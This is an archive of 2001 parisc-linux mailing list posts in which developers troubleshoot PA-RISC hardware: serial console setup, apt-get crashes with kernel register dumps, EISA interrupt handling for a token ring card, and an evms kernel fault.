Message-ID: <20011107093617.R8938@linuxcare.com>
References: <Pine.LNX.4.21.0111050136140.2956-100000@spawn.hockeyfiend.com> <20011105214227.M505@tausq.org> <20011106101650.A29917@dogbert.localdomain> <20011106152317.A4530@dogbert.localdomain> <20011106155428.A4719@dogbert.localdomain> <20011106143616.E4441@parcelfarce.linux.theplanet.co.uk> <20011106161613.M8938@linuxcare.com> <20011106192447.O8938@linuxcare.com> <20011106215128.B5797@dogbert.localdomain> <20011107003802.A6253@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620719 29566 80.91.229.3 (22 Nov 2014 01:45:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Albert Strasheim <fullung@ilink.nis.za>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov  7 02:35:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id B56B1482B
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Nov 2001 02:35:16 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 6F990B00C; Wed,  7 Nov 2001 09:36:17 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20011107003802.A6253@dogbert.localdomain>; from fullung@ilink.nis.za on Wed, Nov 07, 2001 at 12:38:02AM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12939

On Wed, Nov 07, 2001 at 12:38:02AM +0200, Albert Strasheim wrote:
> after cron. The getty perhaps? What needs to get configured here to make
> it work with serial console?

Enable the relevant line in /etc/inittab, something like

T0:23:respawn:/sbin/getty -L ttyS0 9600 vt100

and add ttyS0 to /etc/securetty to enable root logins.

Richard




From - Thu Nov 08 21:20:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720/50 update
Date: Wed, 7 Nov 2001 16:31:17 +0200
Lines: 62
Approved: news@gmane.org
Message-ID: <20011107163116.A8527@dogbert.localdomain>
References: <fullung@ilink.nis.za> <20011107023007.A12882@dogbert.localdomain> <200111070700.AAA08983@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620719 29570 80.91.229.3 (22 Nov 2014 01:45:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov  7 03:32:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id DD03E482B
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Nov 2001 03:32:21 -0700 (MST)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 161Q0H-0000Ye-00
	for parisc-linux@lists.parisc-linux.org; Wed, 07 Nov 2001 12:32:17 +0200
Original-Received: (qmail 28379 invoked from network); 7 Nov 2001 10:32:14 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 7 Nov 2001 10:32:14 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 161TjZ-0002xT-00; Wed, 07 Nov 2001 16:31:17 +0200
Content-Disposition: inline
In-Reply-To: <200111070700.AAA08983@puffin.external.hp.com>
User-Agent: Mutt/1.3.23i
X-Scanner: exiscan *161Q0H-0000Ye-00*TcLw0ytlClM* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12940

Hello,

apt is mostly fine now, but when I added the following line to
/etc/apt/sources.list:

deb-src ftp://archive.sun.ac.za/debian testing main contrib non-free

it died again:

...
Get:1 ftp://archive.sun.ac.za testing/main Sources [609kB]
Ign ftp://archive.sun.ac.za testing/main Release
Get:Illegal instruction

Nov  7 12:26:33 bob kernel: !!die_if_kernel: apt-get(2805): Privileged
register - shouldn't happen! 11
Nov  7 12:26:33 bob kernel:
Nov  7 12:26:33 bob kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Nov  7 12:26:33 bob kernel: PSW: 00000000000001101111111100001111
Nov  7 12:26:33 bob kernel: r0-3^I 00000000 401e43fc 401845ff 00045990
Nov  7 12:26:33 bob kernel: r4-7^I 401e5bfc bff00dd0 bff00c50 0000000a
Nov  7 12:26:33 bob kernel: r8-11^I 0004a5f0 bff00a08 0004a618 bff00c68
Nov  7 12:26:33 bob kernel: r12-15^I 00000000 bff00c58 000c56f0 00000000
Nov  7 12:26:33 bob kernel: r16-19^I 00000000 000255c8 00014000 00045220
Nov  7 12:26:33 bob kernel: r20-23^I 00000002 401cec20 401845b0 00000000
Nov  7 12:26:33 bob kernel: r24-27^I 00000020 00045998 bff00e50 00040220
Nov  7 12:26:33 bob kernel: r28-31^I bff00dd0 00000005 bff00ec0 00026f03
Nov  7 12:26:33 bob kernel: sr0-3^I 00000000 000001b2 00000000 000001b2
Nov  7 12:26:33 bob kernel: sr4-7^I 000001b2 000001b2 000001b2 000001b2
Nov  7 12:26:33 bob kernel:
Nov  7 12:26:33 bob kernel: IASQ: 000001b2 000001b2 IAOQ: 401cec23 401cec27
Nov  7 12:26:33 bob kernel:  IIR: 00040948    ISR: 000001b2  IOR: 00000000
Nov  7 12:26:33 bob kernel:  CPU:        0   CR30: 1527c000 CR31: 10330000
Nov  7 12:26:33 bob kernel:  ORIG_R28: 00000001

I have the ftp_proxy environment variable set, if that makes any
difference. I'll try to do it without the proxy shortly; just need to
setup my "gateway" box right so that the 720/50 can transparently access
the outside world.

Relevant packages versions:

apt            0.5.4
apt-utils      0.5.4
binutils       2.11.92.0.10-2
cpp            3.0.2-10
cpp-3.0        3.0.2-3
g++            3.0.2-10
g++-3.0        3.0.2-3
gcc-3.0        3.0.2-3
gcc-3.0-base   3.0.2-3 (got it from http.us.debian.org)
gzip           1.2.4-33
libc6          2.2.4-5.1

bob:~# uname -a
Linux bob 2.4.9-pa70 #16 Wed Nov 7 02:08:44 SAST 2001 parisc unknown

Regards,

Albert



From - Thu Nov 08 21:20:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA interrupts
Date: Wed, 7 Nov 2001 13:41:36 +0100 (CET)
Lines: 25
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.33.0111071327500.9287-100000@www2.scram.de>
References: <20011104004109.D2303@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620719 29572 80.91.229.3 (22 Nov 2014 01:45:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:19 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	<parisc-linux@parisc-linux.org>
To: Daniel Engstrom <5116@telia.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov  7 05:42:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4F31B482B
	for <parisc-linux@parisc-linux.org>; Wed,  7 Nov 2001 05:42:04 -0700 (MST)
Original-Received: from www2.scram.de (www2.scram.de [195.226.127.84])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id fA7Cfae07511;
	Wed, 7 Nov 2001 13:41:37 +0100 (CET)
In-Reply-To: <20011104004109.D2303@zaphod.halden.lillfab.se>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12941

Hi Daniel,

> In order to use an ISA card you will have to specify the IRQ as edge triggerd
> on the kernel command line options  eisa_irq_edge.
> Use eisa_irq_edge=9,10 to set IRQ 9 and 10 to edge mode.

Cool stuff !

I just merged it into the current CVS version and tested it on my 720...

I *sometimes* works. Somehow, maybe every 3 boot, my token ring card
starts up OK and interrupts are generated. The rest of the cases, the card
is detected, but fails to open and no interrupt is recorded in
/proc/interrupts. Is there anything special about the 720, like an
additional register which might have a random state at bootup time?

However, when trying to send IP traffic to the adapter, Linux immediately
crashes in csum_partial(). Looks like some more work is required to fix
the token ring driver.

Cheers,
Jochen




From - Thu Nov 08 21:20:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen+parisc-linux@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA interrupts
Date: Wed, 7 Nov 2001 13:42:58 +0100 (CET)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.33.0111071342360.9287-100000@www2.scram.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620720 29576 80.91.229.3 (22 Nov 2014 01:45:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:20 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov  7 05:43:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8202F482E
	for <parisc-linux@parisc-linux.org>; Wed,  7 Nov 2001 05:43:04 -0700 (MST)
Original-Received: from www2.scram.de (www2.scram.de [195.226.127.84])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id fA7Cgwe07524
	for <parisc-linux@parisc-linux.org>; Wed, 7 Nov 2001 13:42:59 +0100 (CET)
X-X-Sender: <jochen@www2.scram.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12942

Hi Daniel,

> In order to use an ISA card you will have to specify the IRQ as edge triggerd
> on the kernel command line options  eisa_irq_edge.
> Use eisa_irq_edge=9,10 to set IRQ 9 and 10 to edge mode.

Cool stuff !

I just merged it into the current CVS version and tested it on my 720...

I *sometimes* works. Somehow, maybe every 3 boot, my token ring card
starts up OK and interrupts are generated. The rest of the cases, the card
is detected, but fails to open and no interrupt is recorded in
/proc/interrupts. Is there anything special about the 720, like an
additional register which might have a random state at bootup time?

However, when trying to send IP traffic to the adapter, Linux immediately
crashes in csum_partial(). Looks like some more work is required to fix
the token ring driver.

Cheers,
Jochen





From - Thu Nov 08 21:20:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720/50 update
Date: Wed, 7 Nov 2001 20:01:10 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <20011107200110.C616@dogbert.localdomain>
References: <fullung@ilink.nis.za> <20011107023007.A12882@dogbert.localdomain> <200111070700.AAA08983@puffin.external.hp.com> <20011107163116.A8527@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620720 29582 80.91.229.3 (22 Nov 2014 01:45:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov  7 07:02:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id E611D482B
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Nov 2001 07:02:19 -0700 (MST)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 161THO-0006nv-00
	for parisc-linux@lists.parisc-linux.org; Wed, 07 Nov 2001 16:02:10 +0200
Original-Received: (qmail 28642 invoked from network); 7 Nov 2001 14:02:07 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 7 Nov 2001 14:02:07 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 161X0g-0000B3-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 07 Nov 2001 20:01:10 +0200
Content-Disposition: inline
In-Reply-To: <20011107163116.A8527@dogbert.localdomain>
User-Agent: Mutt/1.3.23i
X-Scanner: exiscan *161THO-0006nv-00*C5wFuEIcc8M* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12943

Hello,

I rebuilt apt this afternoon (took a good 2 hours :-)), and now it
segfaults on startup. The following pops into /var/log/syslog:

Nov  7 16:00:08 bob kernel: do_page_fault() pid=7111 command='apt-get' type=15 address=0xffffffec
Nov  7 16:00:08 bob kernel: vm_start = 0xbff00000, vm_end = 0xbff02000
Nov  7 16:00:08 bob kernel: 
Nov  7 16:00:08 bob kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Nov  7 16:00:08 bob kernel: PSW: 00000000000001000000000100001111
Nov  7 16:00:08 bob kernel: r0-3^I 00000000 00031854 4006189b bff00ad0
Nov  7 16:00:08 bob kernel: r4-7^I bff00ac0 401211b8 0004bb6b bff00ab0
Nov  7 16:00:08 bob kernel: r8-11^I 0004bb00 bff009b0 00000000 bff00aa0
Nov  7 16:00:08 bob kernel: r12-15^I 00000000 00049100 000c94d0 00000000
Nov  7 16:00:08 bob kernel: r16-19^I 00000000 000255c8 00014000 401211b8
Nov  7 16:00:08 bob kernel: r20-23^I 00000000 0002cdd4 0002cdd4 0004b7f0
Nov  7 16:00:08 bob kernel: r24-27^I bff00ae0 00000029 bff00ac0 000429c0
Nov  7 16:00:08 bob kernel: r28-31^I bff00ab0 0000003c bff00c00 40009ae7
Nov  7 16:00:08 bob kernel: sr0-3^I 00000000 00000024 00000000 00000024
Nov  7 16:00:08 bob kernel: sr4-7^I 00000024 00000024 00000024 00000024
Nov  7 16:00:08 bob kernel: 
Nov  7 16:00:08 bob kernel: IASQ: 00000024 00000024 IAOQ: 400618af 400618b3
Nov  7 16:00:08 bob kernel:  IIR: 4a963fd9    ISR: 00000024  IOR: ffffffec
Nov  7 16:00:08 bob kernel:  CPU:        0   CR30: 10fc0000 CR31: 10330000
Nov  7 16:00:08 bob kernel:  ORIG_R28: 403d5a84

ORIG_R28 looks more or less like the value in traps.c, IIRC. Package
versions:

gcc            3.0.2-10
gcc-3.0        3.0.2-3
g++            3.0.2-10
g++-3.0        3.0.2-3
gcc-3.0-base   3.0.2-3
libstdc++3     3.0.2-3
libc6          2.2.4-5.1
debconf        1.0.17
debhelper      3.0.48
binutils       2.11.92.0.10-2

Another weird one is when I click on any button in xman (and some other
apps in xbase-clients; displaying on my i386 machine), it simply dies
with:

Error: Unresolved inheritance operation

Not quite sure if this is because I'm missing some package, or because
of something more serious.

Regards,

Albert



From - Thu Nov 08 21:20:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Herb Radford <herbr@magma.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] More recent ISO's
Date: Wed, 07 Nov 2001 09:05:04 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <3.0.5.32.20011107090504.007f9440@mail.magma.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620720 29585 80.91.229.3 (22 Nov 2014 01:45:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov  7 07:05:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.istop.com (cpu1693.adsl.bellglobal.com [206.47.27.174])
	by dsl2.external.hp.com (Postfix) with ESMTP id 40DE9482B
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Nov 2001 07:05:19 -0700 (MST)
Original-Received: from old@istop (herbr.istop.com [216.187.107.13])
	by ns.istop.com (Postfix) with SMTP id 29B281702D
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Nov 2001 09:06:00 -0500 (EST)
X-Sender: herbr@mail.magma.ca (Unverified)
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12944

Booting my C200 probably requires a newer kernel. Are there any more recent
ISO's than the one available for 0.9.2?
Are there any more detailed instructions than those for PALO?
I have a burner, but I have not yet set up a compile environment so I'm not
sure I can get there easily.

Not that it has to be easy, I've been compiling x86 kernels to suite my
ever-changing systems since kernel 0.9. I'm just having a bit of a problem
with Debian's apt and stuff.

Regards, Herb




From - Thu Nov 08 21:20:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] evms_vgscan crash hppa kernel
Date: Wed, 07 Nov 2001 15:56:16 +0100 (CET)
Lines: 45
Approved: news@gmane.org
Message-ID: <1005144976.3be94b9093186@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620721 29589 80.91.229.3 (22 Nov 2014 01:45:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov  7 07:56:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (unknown [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8BFD2482B
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Nov 2001 07:56:19 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 161U7k-0005gY-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 07 Nov 2001 15:56:16 +0100
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12945

Hi all,

I just apply evms-0.2.3 patches against hppa kernel 2.4.9-pa78.
This kernel compiles, boots and runs also fine on my b180.

But when I launch evms_vgscan the kernel crash with following message:

...
Kernel Fault: Code=15 regs=124fc6c0 (Addr=faf00918)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111
r0-3     00000000 10117000 1018c314 00000000
r4-7     10085e40 00000001 00000000 faf00908
r8-11    17b57c80 124bf300 00023674 faf00788
r12-15   00000000 ffffffff 000c2310 00000000
r16-19   00000000 000255c8 00014000 00023d60
r20-23   00000200 00000000 00000200 102ac400
r24-27   00000200 124fc808 00000000 1029c010
r28-31   00000000 00000000 124fc6c0 102ac420
sr0-3    00000000 00000000 00000000 000002d5
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1018c350 1018c354
 IIR: 48fa0020    ISR: 00000000  IOR: faf00918
 CPU:        0   CR30: 124fc000 CR31: 10348000
 ORIG_R28: 124fc508

a "grep 1018c3 /boot/System.map"
1018c394 t evms_ioctl_cmd_get_minor

I would like to debug this by obtaining a core dump of the kernel after the 
reboot but I do not know how? (I did not find back the mail explaining how to do 
it in detail)

Thanks in advance for help,
        Joel




-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:20:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] evms_vgscan crash hppa kernel
Date: Wed, 7 Nov 2001 15:02:35 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20011107150235.G4441@parcelfarce.linux.theplanet.co.uk>
References: <1005144976.3be94b9093186@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620721 29591 80.91.229.3 (22 Nov 2014 01:45:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov  7 08:02:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 916F5482B
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Nov 2001 08:02:42 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 161UDr-00042C-00; Wed, 07 Nov 2001 15:02:35 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <1005144976.3be94b9093186@webmail.tiscalinet.be>; from joel.soete@freebel.net on Wed, Nov 07, 2001 at 03:56:16PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12946

On Wed, Nov 07, 2001 at 03:56:16PM +0100, joel.soete@freebel.net wrote:
